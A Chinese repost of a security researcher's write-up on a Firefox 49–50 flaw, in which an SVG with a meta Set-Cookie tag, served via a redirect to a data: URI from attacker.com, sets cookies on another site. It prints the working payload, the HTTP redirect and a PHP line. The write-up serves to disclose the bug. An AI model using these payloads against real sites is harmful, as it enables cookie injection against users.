华域联盟 网络安防 Firefox - SVG cross domain cookie vulnerability

Firefox - SVG cross domain cookie vulnerability

译:Holic (知道创宇404安全实验室) , 本文有增改

注:该漏洞只影响 Firefox 49 和 50 版本,详情参见官方公告

SVG - 通过 img 标签设置跨域 cookie

我最近有了解到,浏览器允许使用 meta 标签来设置 cookie 。我不确定我是不是忘了这一特性,或者之前从来没使用过它。鉴于之前研究过 SVG ,我决定试一下。SVG 的标准不包括 meta 标签,但它支持 foreignobject 标签。

<foreignObject> 中的SVG元素允许包含外部 XML 命名空间,该命名空间的图形内容由不同的 user agent 绘制。

来自 mdn 的一个简单例子展示了如何在 SVG 文件中使用 XHTML 命名空间。

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
<!-- XHTML content goes here -->
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>
      </body>
</foreignObject>

设置 cookie

我修改了以下示例代码,并将浏览器指向下面的 SVG:

<svg xmlns='http://www.w3.org/2000/svg'>
<circle r='100'>
</circle>
<foreignObject>
<html xmlns='http://www.w3.org/1999/xhtml'>
<meta http-equiv='Set-Cookie' content='ppp=qqq' />
</html>
</foreignObject>
</svg>

宿主域现在有一个 cookie ppp=qqq。

下一步便是尝试一下了,如果另一个域在加载此 SVG 文件的话,将会发生什么呢:

// Domain: http://example.com

<!DOCTYPE html>
<body>
<img src="http://attacker.com/cookie.svg">
</body>

通过 meta 设置cookie

很遗憾,cookie 被设置为 attack.com ,而不是 example.com 。

重定向 + data uri

使它生效的最后一个技巧是使用 data: 协议处理程序和重定向。假设 example.com 域有以下代码。

<!DOCTYPE html>
<body>
<img src="http://attacker.com/cookie">
</body>

attacker.com 的服务器返回以下响应代码:

HTTP 302 Found
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>

注:如 php 可以使用以下代码:

header("Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='svg2=2222qqq' /></html></foreignObject></svg>");

利用 data: 为宿主域设置 cookie

一旦我在 Firefox 浏览器中打开此测试用例,就会为 example.com 设置一个 Cookie 。这会为网页带来许多不同的漏洞,包括允许包含来自外部/第三方网站的图像。

在通过 firefox 团队调查这个问题期间,出现了另一个问题,公开后即可直接阅读:

https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20

目前还在确定该 bug 的奖励。

我必须感谢我的 Cure53 小伙伴,帮助我研究此漏洞(特别是 Masato

本文由 华域联盟 原创撰写:华域联盟 » Firefox - SVG cross domain cookie vulnerability

转载请保留出处和原文链接:https://www.cnhackhy.com/105805.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

JSON-handle DomXSS Vulnerability

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部